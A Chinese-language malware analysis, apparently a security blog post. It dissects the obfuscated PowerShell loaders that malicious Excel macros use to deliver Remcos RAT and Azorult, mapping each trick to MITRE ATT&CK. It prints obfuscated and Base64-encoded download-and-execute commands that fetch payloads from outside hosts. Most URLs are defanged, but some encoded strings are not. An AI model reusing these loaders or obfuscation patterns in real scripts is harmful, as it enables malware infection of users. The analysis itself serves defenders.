活动 1 | 恶意 Excel 宏导致 Remcos RAT 感染
以下脚本是恶意垃圾邮件活动的一部分,通过以金融为主题的电子邮件传播 Remcos 远程访问木马 (RAT)。可以在此处找到示例工件。
打开恶意 Excel 附件会触发 VBA 宏执行。
这反过来会启动下面经过混淆的 PowerShell 下载载荷exe
“C:WindowsSystem32WindowsPowerShellv1.0powershell.exe” ping google.com; $we22 = 'eW.teN tc' + 'ejbO-weN(' ; $b4df = 'olnwoD.)tnei' + 'lCb' ; $c3 = ')' 'sbv.csim' '+pmet:vne$,' 'UxKUVsB6crz3IBA=yekhtua&07712%58868200A4928F46=diser&58868200A4928F46=dic?daolnwod/moc.evil.evireno//:ptth' '(eliFda' ; $TC = $c3 , $b4df , $we22 -Join '' ;IEX(([regex]::Matches( $TC , '.) | ForEach { $_ .value}) -join '' );start-process( $env :temp+ 'misc.vbs' )
主要采用以下两种字符串混淆方法(T1027:混淆文件或信息https://attack.mitre.org/techniques/T1027/):
混淆技术 1:使用随机变量名称和字符串连接
这里,脚本字符串被分成多个部分,然后通过+or-Join运算符连接起来。
在脚本中,我们看到三个随机字母数字变量 、$we22和$b4df,$c3它们保存字符串值。$TC然后使用运算符将它们组合起来形成第四个变量-Join。
($TC=$c3,$b4df,$we22 -Join '')
TCJoin操作后的值为:
) 'sbv.csim' +pmet:vne$, 'UxKUVsB6crz3IBA=yekhtua&.evireno//:ptth' (eliFdaolnwoD.)tneilCbeW.teN tcejbO-weN(
混淆技术2:字符串反转
该活动还使用RightToLeft正则表达式选项通过字符串反转来进行混淆。
[regex]带有静态方法的类型加速器用于Matches()完成这项工作。ForEach循环 和-join用于组合每个匹配的值。
[regex]::Matches($TC,'.','RightToLeft') | ForEach {$_.value}) -join ''
混淆技术 3:命令别名
该活动还利用IEXcmdlet 来运行指定的字符串。这是 cmdlet 的别名Invoke-Expression。
一旦完全反混淆,PowerShell 命令将如下所示(编者注:此处及全文中,出于发布目的,潜在的恶意 URL 已被反混淆):
"C:WindowsSystem32WindowsPowerShe1llv1.0powershell.exe" ping google.com;IEX((New-Object Net.WebCLient).DownloadFile( 'hXXp://onedrive[.]&authkey=ABI3zrc6BsVUKxU',$env:temp+'misc.vbs'));start-process($env:temp+ 'misc.vbs')
活动 2 | Azorult 通过 Malspam 分发
下一个脚本是发送 Azorult Infostealer 的恶意垃圾邮件活动的一部分。可以在此处找到示例工件。
Office 宏生成 cmd.exe 和 Powershell
混淆技术4:编码(Base64)
在看到明文字符串之前,该脚本首先在两层 Base64 编码中进行混淆。(T1140:反混淆/解码文件或信息https://attack.mitre.org/techniques/T1140/)。
Base64 编码的第一层使用选项-e(缩写为-EncodeCommand)。
“C:WindowsSystem32cmd.exe”/cp^ow^ER^s^HE^LL -eWwBzAFkAUwB0AGUAbQAuAFQAZQBYAFQALgBFAE4AYwBvAEQASQBOAGcAXQA6ADoAdQBuAEkAQwBvAEQARQAuAGcAZQB0AHMAdAByAEkAbgBHACgAWwBzAHkAcwB0AGUAbQAuAEMATwBOAHYAZQBSAHQAXQA6ADoAZgBSAE8ATQBCAGEAcwBlADYANABzAFQAcgBpAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAGUAdwBCAG0AQQBHADgAQQBjAGcAQQBnAEEAQwBnAEEASgBBAEIAcABBAEQAMABBAE0AUQBBADcAQQBDAEEAQQBKAEEAQgBwAEEAQwBBAEEATABRAEIAcwBBAEcAVQBBAEkAQQBBAHgAQQBEAE0AQQBNAEEAQQB3AEEARABBAEEATwB3AEEAZwBBAEMAUQBBAGEAUQBBAHIAQQBDAHMAQQBLAFEAQQBnAEEASABzAEEASgBBAEIAcABBAEMAdwBBAEkAZwBCAGcAQQBHADQAQQBJAGcAQgA5AEEASAAwAEEAWQB3AEIAaABBAEgAUQBBAFkAdwBCAG8AQQBIAHMAQQBmAFEAQQBnAEEARwBZAEEAZABRAEIAdQBBAEcATQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQQBnAEEARwBzAEEAYwBRAEIAdABBAEcAVQBBAGEAQQBBAGcAQQBDAGcAQQBJAEEAQQBrAEEASABrAEEAYwBBAEIAbwBBAEcAbwBBAFkAdwBBAGcAQQBDAHcAQQBJAEEAQQBrAEEASABFAEEAYQBBAEIAcwBBAEMAQQBBAEsAUQBBAGcAQQBIAHMA
QQBhAFEAQgBOAEEASABBAEEAYgB3AEIAUwBBAEgAUQBBAEwAUQBCAE4AQQBFADgAQQBaAEEAQgBWAEEARQB3AEEAUgBRAEEAZwBBAEcASQBBAGEAUQBCAFUAQQBGAE0AQQBWAEEAQgB5AEEARQBFAEEAVABnAEIAegBBAEUAWQBBAFIAUQBCAHkAQQBEAHMAQQBEAFEAQQBLAEEARgBNAEEAZABBAEIAQgBBAEYASQBBAFYAQQBBAHQAQQBFAEkAQQBhAFEAQgBVAEEASABNAEEAVgBBAEIAUwBBAEcARQBBAGIAZwBCAFQAQQBHAFkAQQBSAFEAQgB5AEEAQwBBAEEATABRAEIAegBBAEcAOABBAGQAUQBCAHkAQQBFAE0AQQBaAFEAQQBnAEEAQwBRAEEAZQBRAEIAdwBBAEcAZwBBAGEAZwBCAGoAQQBDAEEAQQBMAFEAQgBFAEEARwBVAEEAYwB3AEIAVQBBAEcAawBBAGIAZwBCAEIAQQBIAFEAQQBTAFEAQgB2AEEARQA0AEEASQBBAEEAawBBAEgARQBBAGEAQQBCAHMAQQBEAHMAQQBJAEEAQgBKAEEARwA0AEEAZABnAEIAdgBBAEcAcwBBAFoAUQBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAawBBAEgARQBBAGEAQQBCAHMAQQBEAHMAQQBmAFEAQQBOAEEAQQBvAEEAZABBAEIAeQBBAEgAawBBAGUAdwBBAGcAQQBDAEEAQQBKAEEAQgBqAEEASABjAEEAZAB3AEIAbwBBAEcAVQBBAFkAZwBBADkAQQBDAFEAQQBaAFEAQgB1AEEASABZAEEATwBnAEIAMABBAEcAV
QBBAGIAUQBCAHcAQQBDAHMA==MAHcAQQB2AEEARwBjAEEAWgBRAEIAdgBBAEgASQBBAFoAdwBCAGwAQQBIAEEAQQBjAGcAQgBoAEEASABBAEEAWQBRAEIAegBBAEMANABBAFkAdwBCAHYAQQBHADAAQQBMAHcAQgBqAEEARwBVAEEAYgBRAEEAdgBBAEYAWQBBAFYAZwBCAGEAQQBFADAAQQB XAFEAQgBNAEEARQBNAEEEAWQBRAEIAVABBAEUAOABBAFkAdwBCAGkAQQBHAHcAQQBjAFEAQgB2AEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBAGcAQQBDAFEAQQBZAHcAQgAzAEEASABjAEEAYQBBAEIAbABBAEcaSQBBAE8AdwBBAE4AQQBBAG8A QQBJAEEAQgA5AEEARwBNAEEAWQBRAEIAMABBAEcATQBBAGEAQQBCADcAQQBIADAAQQAiACkAKQB8AEkAZQBYAA==MAHcAQQB2AEEARwBjAEEAWgBRAEIAdgBBAEgASQBBAFoAdwBCAGwAQQBIAEEAQQBjAGcAQgBoAEEASABBAEEAWQBRAEIAegBBAEMANABBAFkAdwBCAHYAQQBHADAAQQBMAHcAQgBqAEEARwBVAEEAYgBRAEEAdgBBAEYAWQBBAFYAZwBCAGEAQQBFADAAQQB XAFEAQgBNAEEARQBNAEEEAWQBRAEIAVABBAEUAOABBAFkAdwBCAGkAQQBHAHcAQQBjAFEAQgB2AEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBAGcAQQBDAFEAQQBZAHcAQgAzAEEASABjAEEAYQBBAEIAbABBAEcaSQBBAE8AdwBBAE4AQ
QBBAG8A
它接受命令的 base64 编码字符串版本。
在base64编码的第二层中,我们看到了函数 的使用FromBase64String()。
[sYStem.TeXT.ENcoDINg]::unICoDE.getstrInG([system.CONveRt]::fROMBase64sTriNG("dAByAHkAewBmAG8AcgAgACgAJABpAD0AMQA7ACAAJABpACAALQBsAGUAIAAxADMAMAAwADAAOwAgACQAaQArACsAKQAgAHsAJABpACwAIgBgAG4AIgB9AH0AYwBhAHQAYwBoAHsAfQAgAGYAdQBuAGMAdABpAG8AbgAgAGsAcQBtAGUAaAAgACgAIAAkAHkAcABoAGoAYwAgACwAIAAkAHEAaABsACAAKQAgAHsAaQBNAHAAbwBSAHQALQBNAE8AZABVAEwARQAgAGIAaQBUAFMAVAByAEEATgBzAEYARQByADsADQAKAFMAdABBAFIAVAAtAEIAaQBUAHMAVABSAGEAbgBTAGYARQByACAALQBzAG8AdQByAEMAZQAgACQAeQBwAGgAagBjACAALQBEAGUAcwBUAGkAbgBBAHQASQBvAE4AIAAkAHEAaABsADsAIABJAG4AdgBvAGsAZQAtAEkAdABlAG0AIAAkAHEAaABsADsAfQANAAoAdAByAHkAewAgACAAJABjAHcAdwBoAGUAYgA9ACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcAHMAYwB3AHgAYwAuAGUAeABlACcAOwANAAoAawBxAG0AZQBoACAAJwBoAHQAdABwADoALwAvAGcAZQBvAHIAZwBlAHAAcgBhAHAAYQBzAC4AYwBvAG0ALwBjAGUAbQAvAFYAVgBaAE0AWQBMAEgAYQBTAE8AYwBiAGwAcQBvAC4AZQB4AGUAJwAgACQAYwB3AHcAaABlAGIAOwANAAoAIAB9AGMAYQB0AGMAaAB7AH0A"))|IeX
最终的明文 PowerShell 将类似于以下示例。
try{for ($i=1; $i -le 13000; $i++) {$i,"`n"}}catch{} function kqmeh ( $yphjc , $qhl ) {iMpoRt-MOdULE biTSTrANsFEr;StART-BiTsTRanSfEr -sourCe $yphjc -DesTinAtIoN $qhl; Invoke-Item $qhl;}try{ $cwwheb=$env:temp+'scwxc.exe';kqmeh 'hXXp://georgeprapas[.]com/cem/VVZMYLHaSOcblqo[.]exe' $cwwheb;}catch{}
虽然这不是一种混淆技术,但值得注意的是for脚本开头的循环。
for ( $i =1; $i -le 13000; $i ++) { $i , "`n" }
这仅打印 1 到 13000 之间的数字。这很可能是为了延迟第二阶段有效负载下载,试图超过自动分析环境的时间阈值(T1497.003:虚拟化/沙箱规避:基于时间的规避https://attack.mitre.org/techniques/T1497/003/)。
混淆技术 5:函数和 Try-Catch 块
实现一个try-catch块来调用函数 ( kqmeh) 并传递提到的参数。传递的值适用于 cmdlet 的源(辅助负载的位置)和目标(负载将在本地保存的位置)参数Start-BitTransfer。这将创建后台智能传输服务 ( BITS ) 传输作业来传输恶意可执行文件。
最终的反混淆 PowerShell 命令如下所示:
Import-Module BitsTransfer;Start-BitsTransfer -Source 'hXXp[://]georgeprapas[.]com/cem/VVZMYLHaSOcblqo[.]exe' -Destination$env:temp+'scwxc.exe';Invoke-Item($env:temp+'scwxc.exe')
活动 3 | 恶意 Excel 宏导致 Remcos RAT 感染
下一个脚本是另一个恶意垃圾邮件活动的一部分,该活动也提供了 Remcos RAT。可以在此处找到示例工件。
Office 宏生成 Powershell
混淆技术 6:参数替换
($TC=$c3,$b4df,$we22 -Join '')
0
在这里我们看到参数-w 1, 而不是的用法-w hidden。这里,1是 的数字表示hidden,通常用于隐藏任何 PowerShell 窗口,使用户不可见(T1564.003:隐藏工件:隐藏窗口https://attack.mitre.org/techniques/T1564/003/)。
混淆技术7:转义字符
nEw-oB`jecT 此技术尝试使用反引号 ( ) 字符来混淆 PowerShell cmdlet ( ) `。反引号是 PowerShell 中的转义字符。
在PowerShell中,有14个转义序列,并且全部以反引号字符开头。例如,新行表示为`n。然而,在我们的例子中,`j它不是一个可识别的转义字符,因此nEw-oB`jecT将被解释为nEw-oBjecT。
混淆技术 8:混合大小写字母
这非常简单。由于 PowerShell cmdlet 不区分大小写,攻击者尝试混合大小写字母,以期规避区分大小写的静态签名匹配。
最终运行的反混淆 PowerShell 命令将如下所示:
($TC=$c3,$b4df,$we22 -Join '')
1
遇到 MITRE ATT&CK TTP
初始访问
T1566.001:网络钓鱼:鱼叉式网络钓鱼附件
执行
T1059.001:命令和脚本解释器:PowerShell
T1059.005:命令和脚本解释器:Visual Basic
T1204.002:用户执行:恶意文件
防御规避
T1564.003:隐藏工件:隐藏窗口
T1497.003:虚拟化/沙箱规避:基于时间的规避
T1197:BITS 作业
T1140:反混淆/解码文件或信息
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...